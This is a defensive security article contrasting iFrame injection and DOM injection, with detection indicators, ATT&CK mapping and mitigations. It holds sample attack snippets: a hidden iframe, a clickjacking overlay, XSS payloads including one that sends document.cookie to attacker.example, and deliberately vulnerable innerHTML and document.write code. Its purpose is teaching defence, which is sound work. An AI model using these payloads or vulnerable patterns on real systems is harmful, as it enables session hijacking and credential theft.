Nikto Web Scanner Explained: A Practical Guide for Security Teams
iFrame Injection vs DOM Injection: Understanding Two Common Web-Based Attack Techniques
Modern web applications rely heavily on client-side rendering and third-party content integration. While these features improve user experience and functionality, they also introduce attack vectors frequently exploited by threat actors.
Two commonly misunderstood attack techniques are iFrame injection and DOM injection. Although they may appear similar, they operate differently and pose distinct security risks.
This article explains their differences, demonstrates real-world attack examples, and provides mitigation strategies aligned with modern security frameworks like OWASP and ISO 27001.
What is iFrame Injection?
iFrame injection occurs when an attacker inserts a malicious <iframe> element into a legitimate web page. This iframe loads content from an attacker-controlled source without the user’s knowledge.
Attackers typically use iframe injection for:
- ✓ Phishing
- ✓ Malware distribution
- ✓ Clickjacking
- ✓ SEO spam campaigns
- ✓ Credential harvesting
How iFrame Injection Works
The attacker modifies a vulnerable web page by inserting hidden or visually deceptive iframe elements that load external malicious content.
Example: Malicious iFrame Injection
<iframe src="https://malicious-site.example/phishing"
width="0"
height="0"
style="display:none;">
</iframe>Visible Clickjacking Example
<style>
iframe {
position:absolute;
top:0;
left:0;
width:100%;
height:100%;
opacity:0.01;
z-index:999;
}
</style>
<iframe src="https://bank-login-attacker.example"></iframe>In this scenario:
- The victim believes they are clicking legitimate content
- The click is captured by the attacker-controlled iframe
- Credentials or sensitive actions are unknowingly submitted
Real-World Attack Scenarios
1. Website Defacement and Malware Delivery
Attackers inject hidden iframes that redirect visitors to exploit kits or drive-by download pages.
2. Supply Chain Compromise
Third-party scripts or plugins inject malicious iframes into otherwise trusted websites.
3. Payment Skimming (Magecart-style)
Hidden iframes load payment form overlays that steal credit card data.
Detection Indicators
Security teams should monitor for:
- Unexpected iframe elements
- External domains loaded in page source
- Hidden or zero-sized iframe attributes
- Sudden SEO ranking anomalies
- Suspicious third-party script changes
Mitigation Strategies
Implement Content Security Policy (CSP)
Content-Security-Policy: frame-src 'self' trusted-payment-gateway.example;Enable X-Frame-Options
X-Frame-Options: SAMEORIGINUse Subresource Integrity (SRI)
<script src="https://cdn.example/script.js"
integrity="sha384-abc123"
crossorigin="anonymous">
</script>Secure CMS and Plugins
- Keep dependencies updated
- Monitor file integrity
- Restrict admin access
What is DOM Injection?
DOM injection is a client-side vulnerability where attackers manipulate the Document Object Model (DOM) by injecting malicious data into JavaScript execution flows.
DOM injection is often associated with:
- ✓ DOM-based Cross-Site Scripting (DOM XSS)
- ✓ Client-side data manipulation
- ✓ Session token theft
- ✓ UI manipulation
How DOM Injection Works
DOM injection occurs when untrusted input is processed by JavaScript and inserted into the page without proper sanitization.
Vulnerable JavaScript Example
const userInput = location.hash;
document.getElementById("output").innerHTML = userInput;Attack Payload
https://example.com/#<img src=x onerror=alert('XSS')>
When the page loads:
- The payload executes inside the browser
- No server interaction is required
- Traditional server-side defenses may fail
Advanced DOM Injection Example
const searchQuery = new URLSearchParams(window.location.search).get("q");
document.write(`<h2>Results for: ${searchQuery}</h2>`);Attack payload:
?q=<script>fetch('https://attacker.example/steal?cookie='+document.cookie)</script>
Real-World Attack Scenarios
1. Credential Theft
Attackers inject scripts to capture login form submissions.
2. Session Hijacking
Malicious scripts exfiltrate cookies or session storage tokens.
3. UI Redressing
Fake interface components trick users into performing malicious actions.
Detection Indicators
-
Unsafe DOM manipulation functions:
innerHTMLdocument.writeeval()setTimeout(string)setInterval(string)
-
Untrusted data sources:
- URL parameters
location.hashpostMessage- Local storage
Mitigation Strategies
Use Safe DOM APIs
Unsafe
element.innerHTML = userInput;Safe Alternative
element.textContent = userInput;Input Sanitization
Use libraries such as DOMPurify:
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);Implement Strong CSP
Content-Security-Policy: script-src 'self';Avoid Dynamic Code Execution
Dangerous
eval(userInput);Safer Alternative
Use structured data parsing:
JSON.parse(userInput);Key Differences Between iFrame Injection and DOM Injection
| Feature | iFrame Injection | DOM Injection |
|---|---|---|
| Attack Type | HTML content injection | JavaScript execution manipulation |
| Location | Server-side or stored content | Client-side execution |
| Main Goal | Load malicious external content | Execute malicious scripts |
| Common Use Cases | Phishing, clickjacking, malware delivery | XSS, session hijacking, UI manipulation |
| Visibility | Often hidden visually | Executes silently in browser |
| Detection Difficulty | Medium | Often harder to detect |
MITRE ATT&CK Mapping
| Technique | Mapping |
|---|---|
| iFrame Injection | T1185 – Browser Session Hijacking |
| DOM Injection | T1059.007 – JavaScript Execution |
| Credential Harvesting | T1555 – Credentials from Web Browsers |
| Phishing via Web Content | T1566 – Phishing |
Testing Techniques for Security Teams
Detecting iFrame Injection
Using curl
curl -s https://target-site.example | grep iframeBrowser DevTools
- ✓ Inspect DOM elements
- ✓ Review network requests
- ✓ Monitor third-party domains
Detecting DOM Injection
Manual Testing
- Insert test payloads into URL parameters
- Monitor execution behavior
- Inspect JavaScript event handlers
Automated Tools
- Burp Suite DOM Scanner
- OWASP ZAP
- Semgrep (client-side rule scanning)
Business Impact and Risk Considerations
Organizations affected by these attacks may experience:
- • Data breaches
- • Customer credential theft
- • Malware infections
- • SEO poisoning
- • Regulatory non-compliance
From an ISO 27001 perspective, these vulnerabilities relate strongly to:
- • Secure development lifecycle controls
- • Web application input validation
- • Third-party integration risk management
- • Continuous vulnerability monitoring
Prevention Best Practices
Secure Development
- ✓ Follow OWASP Secure Coding Practices
- ✓ Implement strict input validation
- ✓ Avoid unsafe DOM manipulation
Infrastructure Controls
- ✓ Deploy Web Application Firewalls (WAF)
- ✓ Monitor integrity of static assets
- ✓ Implement runtime application protection
Monitoring and Detection
- ✓ Log suspicious client-side behavior
- ✓ Use CSP violation reporting
- ✓ Conduct regular penetration testing
Final Thoughts
Although both iFrame injection and DOM injection exploit web application trust models, they operate in fundamentally different ways. iFrame injection focuses on embedding malicious external content, while DOM injection manipulates browser-side execution flows.
Security teams must implement layered defenses that include secure coding, runtime monitoring, and browser-based protection mechanisms to effectively defend against these threats.
Understanding these attack techniques is essential for building resilient web applications and maintaining compliance with modern cybersecurity frameworks such as ISO 27001 and OWASP ASVS.
Love it? Share this article: